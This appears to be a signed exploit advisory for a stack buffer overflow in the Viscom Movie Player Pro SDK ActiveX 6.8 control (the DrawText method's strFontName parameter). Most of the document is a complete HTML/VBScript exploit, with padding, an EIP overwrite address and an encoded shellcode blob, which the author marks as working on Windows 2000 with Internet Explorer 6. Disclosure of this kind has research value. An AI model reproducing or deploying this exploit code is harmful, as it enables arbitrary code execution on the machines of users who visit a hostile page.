|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103  |  -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -----------------------------------------------------------------------------  Viscom Software Movie Player Pro SDK ActiveX 6.8 Remote Buffer Overflow  url: http://www.viscomsoft.com/  Author: shinnai  mail: shinnai[at]autistici[dot]org  site: http://www.shinnai.net/  File name: MoviePlayer.ocx  Version: 6.8.0.0  GUID: {F4A32EAF-F30D-466D-BEC8-F4ED86CAF84E}  ProgID: MOVIEPLAYER.MoviePlayerCtrl.1  Description: MoviePlayer Pro ActiveX  Safety report: RegKey Safe for Script: False  RegKey Safe for Init: False  Implements IObjectSafety: True  IDisp Safe: Safe for untrusted: caller, data  IPStorage Safe: Safe for untrusted: caller, data  Vuln. Method: "DrawText"  Vuln. Param.: "strFontName"  Description: A stack-based buffer overflow occurs when you pass to  "strFontName" parameter a string overly long than 24  bytes which leads into EIP overwrite allowing the  execution of arbitrary code in the context of the logged  on user.  This happens because an inadequate space is stored  into the buffer intended to receive the font name.  This was written for educational purpose. Use it at your own risk.  Author will be not responsible for any damage.  Tested on:  Windows XP Professional SP3 with Internet Explorer 8  Windows 2000 Professional SP4 with Internet Explorer 6 (working exploit) - - ----------------------------------------------------------------------------- <html>  <object classid='clsid:F4A32EAF-F30D-466D-BEC8-F4ED86CAF84E' id='test'></object> <script language = 'vbscript'>  buf_1 = String(32, "A")  pwEIP = unescape("%40%46%E3%77") 'call EBP from user32.dll Win 2k Pro  buf_2 = String(416, "A")  sCode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _  unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _  unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _  unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _  unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34") & _  unescape("%42%50%42%30%42%50%4b%38%45%44%4e%43%4b%38%4e%47") & _  unescape("%45%30%4a%47%41%30%4f%4e%4b%48%4f%54%4a%41%4b%38") & _  unescape("%4f%55%42%52%41%30%4b%4e%49%54%4b%48%46%33%4b%48") & _  unescape("%41%50%50%4e%41%43%42%4c%49%59%4e%4a%46%48%42%4c") & _  unescape("%46%47%47%50%41%4c%4c%4c%4d%50%41%50%44%4c%4b%4e") & _  unescape("%46%4f%4b%43%46%35%46%52%46%30%45%37%45%4e%4b%58") & _  unescape("%4f%45%46%42%41%50%4b%4e%48%46%4b%48%4e%30%4b%44") & _  unescape("%4b%48%4f%35%4e%41%41%30%4b%4e%4b%38%4e%51%4b%38") & _  unescape("%41%50%4b%4e%49%38%4e%45%46%32%46%50%43%4c%41%33") & _  unescape("%42%4c%46%46%4b%48%42%34%42%33%45%38%42%4c%4a%47") & _  unescape("%4e%30%4b%38%42%34%4e%50%4b%58%42%47%4e%41%4d%4a") & _  unescape("%4b%58%4a%36%4a%30%4b%4e%49%50%4b%48%42%48%42%4b") & _  unescape("%42%30%42%50%42%30%4b%38%4a%56%4e%43%4f%55%41%33") & _  unescape("%48%4f%42%46%48%35%49%38%4a%4f%43%58%42%4c%4b%37") & _  unescape("%42%55%4a%36%42%4f%4c%58%46%50%4f%35%4a%36%4a%59") & _  unescape("%50%4f%4c%38%50%50%47%55%4f%4f%47%4e%43%56%41%56") & _  unescape("%4e%46%43%56%50%32%45%46%4a%37%45%36%42%50%5a")  buf_3 = String(4899, "A")  egg = buf_1 & pwEIP & buf_2 & sCode & buf_3  test.DrawText 1, 1, 1, "", 1, egg, True, True, True, 1, 1, 1, 1, 1, 1 </script> </html> -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (MingW32) iQIcBAEBAgAGBQJLS4lVAAoJEGLxkZuDw5+sRBMP/igkxar2tQO6mQjDwkLSyK49 TpJhOOLrXvq5kOIy2zVSUfqGY3Vb1RMPAWJrK0ILbfyB5cyHnlZ48aUj9g2cwmAE 9hxGSCQoLy35vIYT9DKtpBPYiUAzXLQ4CqPloHOAUXtwP+C8DL6GZixL6BcD0oeo zX1dUw4BthIvizR0IIrUcIDeZN0hzDsteu1CLrII7eOM/L03z2IU5FnY7R0pkIJX 5jZWQfcgURhPVT3/5LzG6XzCawdlX5cw0fpjeEiCaVZWhkH6krWA4SSKgWibdkx6 pwWrhaGWuQOHOaM0XJ+gHqodljxxdC7bzoESnaAvwAsTai7ipM6dBoRhgSsdBNas riA8puRkiZjgyZVqCfKFZWpxxaxlDx79peFGd/WTX7RDaay4ZS1TAnYrwLxVYdh3 2OIajXIvD3Bxmb91JoqqMGKzAQ4BUuvVgo9/ef+GlPhcsr8kpmjL48/IS4htLwJ9 AEV6NmRcD465JfVHTfJb79aciPgBjQ8+IZMOLClP7Q+2OOaW/QuCaXseanD64oMJ kHsgzSpHvLTrQHovagymcDO5okldwH1fu5xj8GhPw2lMJGqKcp7Ld+YPIfnQ1VYj HzZsBCjUMYmjVIrCFLu1wnjqRR/KE68ng3Vz3/XW6WTzxxovgKWGKHd5G9eLWmZ+ Yl9ja6Z57P/kTwhhxmIu =g3VB -----END PGP SIGNATURE-----  |